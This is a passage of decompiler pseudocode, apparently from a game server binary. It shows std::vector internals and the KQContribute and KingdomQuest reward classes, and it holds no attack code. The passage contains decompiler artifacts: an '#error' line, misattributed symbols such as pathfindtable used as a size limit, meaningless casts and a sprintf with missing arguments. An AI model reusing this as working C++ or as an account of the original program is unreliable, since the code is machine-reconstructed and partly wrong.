>::const_iterator)_Right->_Mylast; v8 = (std::vector >::const_iterator)_Right->_Myfirst; v12 = 0; v2->_Mylast = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( v8, v7, (KQContribute::PlayerContribute *)v6, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (0046E7E6) -------------------------------------------------------- void __usercall _L160205(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int __formal) { void *v2; // esi@1 KQContribute::PlayerContribute *v3; // ebx@2 int v4; // edx@2 int v5; // ecx@3 void *result; // eax@6 int v7; // eax@7 int v8; // edx@8 int v9; // eax@11 int v10; // edx@15 int v11; // edx@19 int v12; // ebx@21 int v13; // ecx@24 int v14; // eax@25 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(KQContribute::PlayerContribute **)(__formal + 4); v4 = 0; if ( !v3 || (v5 = (*(_DWORD *)(__formal + 8) - (signed int)v3) >> 3) == 0 ) { if ( *((_DWORD *)v2 + 1) ) { operator delete(*((void **)v2 + 1)); v4 = 0; } *((_DWORD *)v2 + 1) = v4; *((_DWORD *)v2 + 2) = v4; *((_DWORD *)v2 + 3) = v4; return v2; } v7 = *((_DWORD *)v2 + 1); if ( v7 ) v8 = (*((_DWORD *)v2 + 2) - v7) >> 3; else v8 = 0; if ( v5 <= (unsigned int)v8 ) { std::copy( v3, *(KQContribute::PlayerContribute **)(__formal + 8), *((KQContribute::PlayerContribute **)v2 + 1)); v9 = *(_DWORD *)(__formal + 4); if ( v9 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 8 * ((*(_DWORD *)(__formal + 8) - v9) >> 3); result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v7 ) v10 = (*((_DWORD *)v2 + 3) - v7) >> 3; else v10 = 0; if ( v5 > (unsigned int)v10 ) { if ( v7 ) operator delete(*((void **)v2 + 1)); v13 = *(_DWORD *)(__formal + 4); if ( v13 ) v14 = (*(_DWORD *)(__formal + 8) - v13) >> 3; else v14 = 0; if ( std::vector>::_Buy( (std::vector > *)v2, v14) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(std::vector >::const_iterator *)(__formal + 4), *(std::vector >::const_iterator *)(__formal + 8), *((KQContribute::PlayerContribute **)v2 + 1)); return v2; } if ( v7 ) v11 = (*((_DWORD *)v2 + 2) - v7) >> 3; else v11 = 0; v12 = *(_DWORD *)(__formal + 4) + 8 * v11; std::copy( *(KQContribute::PlayerContribute **)(__formal + 4), (KQContribute::PlayerContribute *)v12, *((KQContribute::PlayerContribute **)v2 + 1)); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::iterator_Navigator::UnitPoint___std::allocator>( (std::vector >::const_iterator)v12, *(std::vector >::const_iterator *)(__formal + 8), *((KQContribute::PlayerContribute **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } //----- (0046E950) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerContribute _Val) { KQContribute::PlayerContribute *v3; // edx@1 signed int v4; // eax@2 signed int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } } //----- (0046E9C0) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove_copy>::iterator_std::vector>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, std::vector >::iterator _Dest, KQContribute::PlayerList *_Val) { std::vector >::iterator v5; // esi@1 std::vector >::iterator v6; // edi@2 void *v7; // ecx@4 std::vector >::iterator *v8; // eax@6 v5 = _First; if ( _First == _Last ) { v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = _Dest; } else { v6 = _Dest; do { if ( **(_DWORD **)&v5 != _Val->pl_KQHandle ) { **(_DWORD **)&v6 = **(_DWORD **)&v5; v7 = (void *)(*(_DWORD *)&v6 + 4); *(_DWORD *)&v6 += 20; std::vector>::operator_( v7, *(_DWORD *)&v5 + 4); } *(_DWORD *)&v5 += 20; } while ( v5 != _Last ); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v6; } return v8; } //----- (0046EA20) -------------------------------------------------------- KQContribute::PlayerList *__cdecl std::_Copy_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v4; // esi@1 KQContribute::PlayerList *v5; // edi@2 KQContribute::PlayerList *result; // eax@4 v4 = _First; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v5->pl_KQHandle = v4->pl_KQHandle; std::vector>::operator_( &v5->pl_PlayerList, (int)&v4->pl_PlayerList); ++v4; ++v5; } while ( v4 != _Last ); result = v5; } return result; } //----- (0046EA60) -------------------------------------------------------- KQContribute::PlayerList *__cdecl std::_Copy_backward_opt(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v4; // esi@1 KQContribute::PlayerList *v5; // edi@2 unsigned int v6; // eax@3 KQContribute::PlayerList *result; // eax@4 v4 = _Last; if ( _First == _Last ) { result = _Dest; } else { v5 = _Dest; do { v6 = v4[-1].pl_KQHandle; --v4; --v5; v5->pl_KQHandle = v6; std::vector>::operator_( &v5->pl_PlayerList, (int)&v4->pl_PlayerList); } while ( v4 != _First ); result = v5; } return result; } //----- (0046EAA0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerContribute *_Val) { std::vector > *v2; // esi@1 KQContribute::PlayerContribute *v3; // edx@1 signed int v4; // ecx@2 KQContribute::PlayerContribute *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::_Insert_n( v2, (std::vector >::iterator)v2->_Mylast, 1u, _Val); } } //----- (0046EB10) -------------------------------------------------------- std::vector >::iterator *__cdecl std::remove>::iterator_KQContribute::PlayerList>(std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last, KQContribute::PlayerList *_Val) { std::vector >::iterator v4; // ecx@1 std::vector >::iterator *v5; // eax@4 v4 = _First; if ( _First == _Last ) goto LABEL_10; while ( **(_DWORD **)&v4 != _Val->pl_KQHandle ) { *(_DWORD *)&v4 += 20; if ( v4 == _Last ) { v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; return v5; } } if ( v4 != _Last ) { std::remove_copy>::iterator_std::vector>::iterator_KQContribute::PlayerList>( result, (std::vector >::iterator)(*(_DWORD *)&v4 + 20), _Last, v4, _Val); v5 = result; } else { LABEL_10: v5 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v4; } return v5; } //----- (0046EB60) -------------------------------------------------------- void __cdecl std::fill(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Val) { KQContribute::PlayerList *i; // esi@1 for ( i = _First; i != _Last; ++i ) { i->pl_KQHandle = _Val->pl_KQHandle; std::vector>::operator_( &i->pl_PlayerList, (int)&_Val->pl_PlayerList); } } //----- (0046EB90) -------------------------------------------------------- KQContribute::PlayerList *__cdecl std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>(KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last, KQContribute::PlayerList *_Dest, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v5; // esi@1 KQContribute::PlayerList *v6; // edi@1 int v8; // [sp+0h] [bp-20h]@1 KQContribute::PlayerList *_Next; // [sp+Ch] [bp-14h]@1 int *v10; // [sp+10h] [bp-10h]@1 int v11; // [sp+1Ch] [bp-4h]@1 v5 = _Dest; v6 = _First; v10 = &v8; _Next = _Dest; v11 = 0; while ( v6 != _Last ) { LOBYTE(v11) = 1; if ( v5 ) { v5->pl_KQHandle = v6->pl_KQHandle; std::vector>::vector>( &v5->pl_PlayerList, &v6->pl_PlayerList); } ++v5; LOBYTE(v11) = 0; ++v6; } return v5; } //----- (0046EC40) -------------------------------------------------------- #error "46EC40: undefined or illegal type '#331' (funcsize=100)" //----- (0046EDA0) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(KQContribute::PlayerList *_First, unsigned int _Count, KQContribute::PlayerList *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { KQContribute::PlayerList *v5; // esi@1 unsigned int v6; // edi@1 int v7; // [sp+0h] [bp-20h]@1 KQContribute::PlayerList *_Next; // [sp+Ch] [bp-14h]@1 int *v9; // [sp+10h] [bp-10h]@1 int v10; // [sp+1Ch] [bp-4h]@1 v5 = _First; v6 = _Count; v9 = &v7; _Next = _First; v10 = 0; while ( v6 > 0 ) { LOBYTE(v10) = 1; if ( v5 ) { v5->pl_KQHandle = _Val->pl_KQHandle; std::vector>::vector>( &v5->pl_PlayerList, &_Val->pl_PlayerList); } --v6; ++v5; LOBYTE(v10) = 0; } } //----- (0046EE50) -------------------------------------------------------- void __thiscall std::vector>::_Destroy(std::vector > *this, KQContribute::PlayerList *_First, KQContribute::PlayerList *_Last) { KQContribute::PlayerList *i; // esi@1 for ( i = _First; i != _Last; ++i ) FamilyMobManagement::FamilyMob::_FamilyMob(i); } //----- (0046EE80) -------------------------------------------------------- KQContribute::PlayerList *__thiscall std::vector>::_Ufill(std::vector > *this, KQContribute::PlayerList *_Ptr, unsigned int _Count, KQContribute::PlayerList *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (0046EEB0) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, KQContribute::PlayerList *_Val) { std::vector > *v4; // esi@1 unsigned int v5; // ecx@1 KQContribute::PlayerList *v6; // ebx@1 unsigned int v7; // ecx@1 signed int v8; // edx@2 unsigned int v9; // edi@3 int v10; // eax@5 int v11; // eax@10 int v12; // ecx@14 int v13; // eax@17 void *v14; // eax@21 void *v15; // ebx@21 KQContribute::PlayerList *v16; // ST18_4@21 int v17; // eax@21 int v18; // edi@23 KQContribute::PlayerList *v19; // eax@23 KQContribute::PlayerList *v20; // ecx@26 std::vector >::iterator v21; // ebx@26 KQContribute::PlayerList *v22; // ecx@27 KQContribute::PlayerList *v23; // ST24_4@27 unsigned int v24; // edi@27 int v25; // [sp+0h] [bp-38h]@1 unsigned int _Tmp; // [sp+Ch] [bp-2Ch]@1 std::vector > thisa; // [sp+10h] [bp-28h]@1 void *_Newvec; // [sp+20h] [bp-18h]@21 std::vector > *v29; // [sp+24h] [bp-14h]@1 int *v30; // [sp+28h] [bp-10h]@1 int v31; // [sp+34h] [bp-4h]@1 KQContribute::PlayerList *_Wherea; // [sp+40h] [bp+8h]@28 KQContribute::PlayerList *_Ptr; // [sp+44h] [bp+Ch]@21 int _Vala; // [sp+48h] [bp+10h]@21 KQContribute::PlayerList *_Valb; // [sp+48h] [bp+10h]@26 v4 = this; v5 = _Val->pl_KQHandle; v30 = &v25; _Tmp = v5; v29 = v4; std::vector>::vector>( &thisa, &_Val->pl_PlayerList); v6 = v4->_Myfirst; v7 = 0; v31 = 0; if ( v6 ) { v8 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v4->_Myend - (char *)v6)) >> 32) >> 3; v7 = v8 + ((unsigned int)v8 >> 31); } v9 = _Count; if ( _Count ) { if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( (unsigned int)((char *)&pathfindtable.pft_table[13][2358].pfc_distance - v10) < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v6 ) v11 = v4->_Mylast - v6; else v11 = 0; if ( v7 >= _Count + v11 ) { v20 = v4->_Mylast; v21 = _Where; _Valb = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 20 >= _Count ) { _Wherea = &v20[-_Count]; v4->_Mylast = std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( &v20[-_Count], v20, v20, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)((_BYTE)v20 - 20 * _Count)); std::_Copy_backward_opt( *(KQContribute::PlayerList **)&v21, _Wherea, _Valb, (std::_Nonscalar_ptr_iterator_tag)_Wherea); std::fill( *(KQContribute::PlayerList **)&v21, (KQContribute::PlayerList *)(*(_DWORD *)&v21 + 20 * _Count), (KQContribute::PlayerList *)&_Tmp); } else { std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( *(KQContribute::PlayerList **)&_Where, v20, (KQContribute::PlayerList *)(*(_DWORD *)&_Where + 20 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v22 = v4->_Mylast; v23 = v4->_Mylast; LOBYTE(v31) = 3; std::vector>::_Ufill( v4, v23, _Count - (signed int)((char *)v22 - *(_DWORD *)&_Where) / 20, (KQContribute::PlayerList *)&_Tmp); v24 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (KQContribute::PlayerList *)v24; v31 = 0; std::fill( *(KQContribute::PlayerList **)&_Where, (KQContribute::PlayerList *)(v24 - 20 * _Count), (KQContribute::PlayerList *)&_Tmp); } } else { if ( (unsigned int)((char *)&pathfindtable.pft_table[13][2358].pfc_distance - (v7 >> 1)) >= v7 ) v12 = (v7 >> 1) + v7; else v12 = 0; if ( v6 ) v13 = v4->_Mylast - v6; else v13 = 0; if ( v12 < _Count + v13 ) v12 = _Count + std::vector>::size((std::vector > *)v4); _Vala = 20 * v12; v14 = operator new(20 * v12); v15 = v14; v16 = v4->_Myfirst; _Newvec = v14; LOBYTE(v31) = 1; _Ptr = std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( v16, *(KQContribute::PlayerList **)&_Where, (KQContribute::PlayerList *)v14, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Ptr, v9, (KQContribute::PlayerList *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( *(KQContribute::PlayerList **)&_Where, v4->_Mylast, &_Ptr[v9], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v17 = (int)v4->_Myfirst; if ( v17 ) v17 = (signed int)((char *)v4->_Mylast - v17) / 20; v18 = v17 + v9; v19 = v4->_Myfirst; if ( v19 ) { std::vector>::_Destroy( v4, v19, v4->_Mylast); operator delete(v4->_Myfirst); } v4->_Myend = (KQContribute::PlayerList *)((char *)v15 + _Vala); v4->_Mylast = (KQContribute::PlayerList *)((char *)v15 + 20 * v18); v4->_Myfirst = (KQContribute::PlayerList *)v15; } } if ( thisa._Myfirst ) operator delete(thisa._Myfirst); } //----- (0046F1B0) -------------------------------------------------------- void __thiscall std::vector>::reserve(std::vector > *this, unsigned int _Count) { std::vector > *v2; // esi@1 KQContribute::PlayerList *v3; // eax@3 unsigned int v4; // ebx@6 KQContribute::PlayerList *v5; // ST04_4@6 KQContribute::PlayerList *v6; // ST00_4@6 KQContribute::PlayerList *v7; // ecx@6 int v8; // edi@7 signed int v9; // edx@8 int v10; // [sp+0h] [bp-1Ch]@1 int *v11; // [sp+Ch] [bp-10h]@1 int v12; // [sp+18h] [bp-4h]@6 void *_Ptr; // [sp+24h] [bp+8h]@6 v11 = &v10; v2 = this; if ( _Count > (unsigned int)&pathfindtable.pft_table[13][2358].pfc_distance ) std::vector>::_Xlen((std::vector > *)this); v3 = this->_Myfirst; if ( v3 ) v3 = (KQContribute::PlayerList *)(this->_Myend - v3); if ( (unsigned int)v3 < _Count ) { v4 = 20 * _Count; _Ptr = operator new(20 * _Count); v5 = v2->_Mylast; v6 = v2->_Myfirst; v12 = 0; std::_Uninit_copy>::iterator_KQContribute::PlayerList___std::allocator>( v6, v5, (KQContribute::PlayerList *)_Ptr, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Ptr); v7 = v2->_Myfirst; if ( v7 ) { v9 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)v2->_Mylast - (char *)v7)) >> 32) >> 3; v8 = v9 + ((unsigned int)v9 >> 31); } else { v8 = 0; } if ( v7 ) { std::vector>::_Destroy( v2, v7, v2->_Mylast); operator delete(v2->_Myfirst); } v2->_Myend = (KQContribute::PlayerList *)((char *)_Ptr + v4); v2->_Mylast = (KQContribute::PlayerList *)((char *)_Ptr + 20 * v8); v2->_Myfirst = (KQContribute::PlayerList *)_Ptr; } } //----- (0046F292) -------------------------------------------------------- void __usercall _L162321(int a1) { operator delete(*(void **)(a1 + 8)); _CxxThrowException(0, 0); } //----- (0046F2B0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::erase(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _First, std::vector >::iterator _Last) { std::vector > *v4; // ebp@1 std::vector >::iterator v5; // ecx@1 KQContribute::PlayerList *v6; // eax@2 KQContribute::PlayerList *v7; // ebx@2 KQContribute::PlayerList *v8; // edi@2 KQContribute::PlayerList *i; // esi@2 std::vector >::iterator *v10; // eax@5 v4 = this; v5 = _First; if ( _First != _Last ) { v6 = std::_Copy_opt( *(KQContribute::PlayerList **)&_Last, v4->_Mylast, *(KQContribute::PlayerList **)&_First, (std::_Nonscalar_ptr_iterator_tag)_First.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v7 = v4->_Mylast; v8 = v6; for ( i = v6; i != v7; ++i ) FamilyMobManagement::FamilyMob::_FamilyMob(i); v5 = _First; v4->_Mylast = v8; } v10 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = v5; return v10; } //----- (0046F310) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, KQContribute::PlayerList _Val) { KQContribute::PlayerList *v3; // esi@1 int v4; // eax@2 int v5; // eax@6 v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v4 >= _Newsize ) { if ( v3 && _Newsize < this->_Mylast - v3 ) std::vector>::erase( this, (std::vector >::iterator *)&_Newsize, (std::vector >::iterator)&v3[_Newsize], (std::vector >::iterator)this->_Mylast); } else { if ( v3 ) v5 = this->_Mylast - v3; else v5 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v5, &_Val); } if ( _Val.pl_PlayerList._Myfirst ) operator delete(_Val.pl_PlayerList._Myfirst); } //----- (0046F3F0) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, KQContribute::PlayerList *_Val) { std::vector > *v4; // edi@1 KQContribute::PlayerList *v5; // esi@1 int v6; // esi@3 signed int v7; // edx@4 std::vector >::iterator *v8; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) { v7 = (signed int)((unsigned __int64)(1717986919i64 * (*(_DWORD *)&_Where - (signed int)v5)) >> 32) >> 3; v6 = v7 + ((unsigned int)v7 >> 31); } else { v6 = 0; } std::vector>::_Insert_n(this, _Where, 1u, _Val); v8 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v8; } //----- (0046F460) -------------------------------------------------------- void __thiscall KQContribute::KQContributeList::kqpl_EndOfKQ(KQContribute::KQContributeList *this, unsigned int kqhnd) { KQContribute::KQContributeList *v2; // esi@1 std::vector >::iterator v3; // edi@1 std::vector >::iterator v4; // eax@1 std::vector >::iterator v5; // ST08_4@1 std::vector >::iterator *v6; // eax@1 std::vector >::iterator result; // [sp+Ch] [bp-24h]@1 unsigned int tmp; // [sp+10h] [bp-20h]@1 int v9; // [sp+18h] [bp-18h]@1 int v10; // [sp+1Ch] [bp-14h]@1 int v11; // [sp+20h] [bp-10h]@1 int v12; // [sp+2Ch] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KQContribute::KQContributeList::kqpl_EndOfKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KQContribute::KQContributeList::kqpl_EndOfKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v12 = 0; v9 = 0; v10 = 0; v11 = 0; v3 = (std::vector >::iterator)v2->kqcl_List._Mylast; v4 = (std::vector >::iterator)v2->kqcl_List._Myfirst; v5 = (std::vector >::iterator)v2->kqcl_List._Mylast; tmp = kqhnd; LOBYTE(v12) = 1; v6 = std::remove>::iterator_KQContribute::PlayerList>( (std::vector >::iterator *)&kqhnd, v4, v5, (KQContribute::PlayerList *)&tmp); std::vector>::erase( &v2->kqcl_List, &result, *v6, v3); --funcallanalizer.fca_stackpoint; v12 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqpl_EndOfKQ"); } //----- (0046F540) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, KQContribute::PlayerList *_Val) { std::vector > *v2; // esi@1 KQContribute::PlayerList *v3; // edi@1 int v4; // ecx@2 signed int v5; // edx@3 KQContribute::PlayerList *v6; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) { v5 = (signed int)((unsigned __int64)(1717986919i64 * (unsigned int)((char *)this->_Mylast - (char *)v3)) >> 32) >> 3; v4 = v5 + ((unsigned int)v5 >> 31); } else { v4 = 0; } if ( v3 && v4 < v2->_Myend - v3 ) { v6 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v6 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (0046F5D0) -------------------------------------------------------- void __thiscall KQContribute::KQContributeList::KQContributeList(KQContribute::KQContributeList *this) { std::vector > *v1; // esi@1 KQContribute::PlayerList v2; // [sp-14h] [bp-30h]@1 int v3; // [sp-Ch] [bp-28h]@1 int v4; // [sp-8h] [bp-24h]@1 int v5; // [sp-4h] [bp-20h]@1 KQContribute::KQContributeList *v6; // [sp+8h] [bp-14h]@1 KQContribute::PlayerList *v7; // [sp+Ch] [bp-10h]@1 int v8; // [sp+18h] [bp-4h]@1 v1 = (std::vector > *)this; v6 = this; this->kqcl_List._Myfirst = 0; this->kqcl_List._Mylast = 0; this->kqcl_List._Myend = 0; v8 = 0; std::vector>::reserve(&this->kqcl_List, 0x1Eu); v7 = &v2; v3 = 0; v4 = 0; v5 = 0; std::vector>::resize(v1, 0, v2); } //----- (0046F640) -------------------------------------------------------- void __thiscall KQContribute::KQContributeList::kqcl_NewKQ(KQContribute::KQContributeList *this, unsigned int kqhnd) { KQContribute::KQContributeList *v2; // edi@1 KQContribute::PlayerList *v3; // esi@1 unsigned int tmp; // [sp+14h] [bp-20h]@3 std::vector > thisa; // [sp+18h] [bp-1Ch]@3 int v6; // [sp+30h] [bp-4h]@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_NewKQ"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "KQContribute::KQContributeList::kqcl_NewKQ"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v6 = 0; v3 = KQContribute::KQContributeList::kqcl_FindKQ(v2, kqhnd); if ( v3 ) { std::vector>::resize( &v3->pl_PlayerList, 0, 0i64); v3->pl_KQHandle = kqhnd; } else { thisa._Myfirst = 0; thisa._Mylast = 0; thisa._Myend = 0; LOBYTE(v6) = 1; std::vector>::resize(&thisa, 0, 0i64); tmp = kqhnd; std::vector>::push_back( &v2->kqcl_List, (KQContribute::PlayerList *)&tmp); if ( thisa._Myfirst ) operator delete(thisa._Myfirst); } --funcallanalizer.fca_stackpoint; v6 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "KQContribute::KQContributeList::kqcl_NewKQ"); } //----- (0046F730) -------------------------------------------------------- BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname) { BinaryDataBox *v2; // esi@1 char buffer[256]; // [sp+8h] [bp-104h]@2 v2 = this; if ( !CDataReader::Read(&this->baseclass_0.baseclass_0, fname, 0x2F84u, 0x60u) ) { AssertClass::ac_AssertFail(&shineassert, "BinaryDataBox::bdb_ReadData : readfail", fname); sprintf(buffer, "Code:%X:%d\tSHN:%X:%d"); AssertClass::ac_AssertFail(&shineassert, buffer, 0); ShineExit("BinaryDataBox::bdb_ReadData"); } return v2; } //----- (0046F7E0) -------------------------------------------------------- void __thiscall KQRewardDataBox::KQRewardDataBox(KQRewardDataBox *this) { KQRewardDataBox *v1; // esi@1 v1 = this; CCharacterTitleData::CCharacterTitleData(&this->kqrdb_DataBox.baseclass_0); memset(&v1->kqrdb_DataBox.bdb_defaultblock, 0, sizeof(v1->kqrdb_DataBox.bdb_defaultblock)); } //----- (0046F800) -------------------------------------------------------- void __thiscall KQRewardDataBox::kqrdb_Load(KQRewardDataBox *this, Name4 *world) { BinaryDataBox::bdb_ReadData(&this->kqrdb_DataBox, "../9Data/Shine/KingdomQuestRew.shn"); } //----- (0046F810) -------------------------------------------------------- KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, unsigned __int16 idx) { KQRewardDataBox *v2; // edi@1 unsigned int v3; // eax@1 unsigned int v4; // esi@1 bool v5; // cf@2 KINGDOM_QUEST_REW *result; // eax@4 signed int v7; // eax@8 v2 = this; v3 = this->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 > 0 ) { v5 = v3 > 0; do { if ( v5 ) result = (KINGDOM_QUEST_REW *)CDataReader::GetRecord(&v2->kqrdb_DataBox.baseclass_0.baseclass_0, v4); else result = &v2->kqrdb_DataBox.bdb_defaultblock; if ( !result ) break; if ( idx == result->ID ) return result; v7 = v2->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v7; } while ( (signed int)v4 < v7 ); } return 0; } //----- (0046F860) -------------------------------------------------------- KINGDOM_QUEST_REW *__thiscall KQRewardDataBox::operator__(KQRewardDataBox *this, char *idx) { KQRewardDataBox *v2; // edi@1 unsigned int v3; // eax@1 unsigned int v4; // esi@1 bool v5; // cf@2 KINGDOM_QUEST_REW *result; // eax@4 unsigned int v7; // ecx@7 signed int v8; // eax@11 v2 = this; v3 = this->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; v4 = 0; if ( (signed int)v3 > 0 ) { v5 = v3 > 0; do { if ( v5 ) result = (KINGDOM_QUEST_REW *)CDataReader::GetRecord(&v2->kqrdb_DataBox.baseclass_0.baseclass_0, v4); else result = &v2->kqrdb_DataBox.bdb_defaultblock; if ( !result ) break; v7 = 0; do { if ( result->IndexString[v7] != idx[v7] ) break; if ( !result->IndexString[v7] ) return result; ++v7; } while ( v7 < 0x20 ); v8 = v2->kqrdb_DataBox.baseclass_0.baseclass_0.m_pHead->nNumOfRecord; ++v4; v5 = v4 < v8; } while ( (signed int)v4 < v8 ); } return 0; } //----- (0046F8D0) -------------------------------------------------------- void __thiscall SubLayer::SubLayerInteractLoader::slil_Load(SubLayer::SubLayerInteractLoader *this, Name4 *world) { int v2; // edx@1 int v3; // ecx@1 int v4; // edx@1 int v5; // eax@2 int v6; // ebp@5 signed int v7; // esi@5 void *v8; // eax@7 void *v9; // edi@7 void *v10; // ebp@7 int v11; // edx@11 ORToken v12; // [sp-18h] [bp-10938h]@7 int v13; // [sp-14h] [bp-10934h]@7 int v14; // [sp-10h] [bp-10930h]@7 int v15; // [sp-Ch] [bp-1092Ch]@7 int v16; // [sp-8h] [bp-10928h]@7 int v17; // [sp-4h] [bp-10924h]@7 char rst; // [sp+13h] [bp-1090Dh]@2 int me; // [sp+14h] [bp-1090Ch]@5 ORToken *v20; // [sp+18h] [bp-10908h]@7 int buf; // [sp+1Ch] [bp-10904h]@1 int v22; // [sp+20h] [bp-10900h]@1 int v23; // [sp+24h] [bp-108FCh]@1 int v24; // [sp+28h] [bp-108F8h]@1 char v25; // [sp+2Ch] [bp-108F4h]@1 char 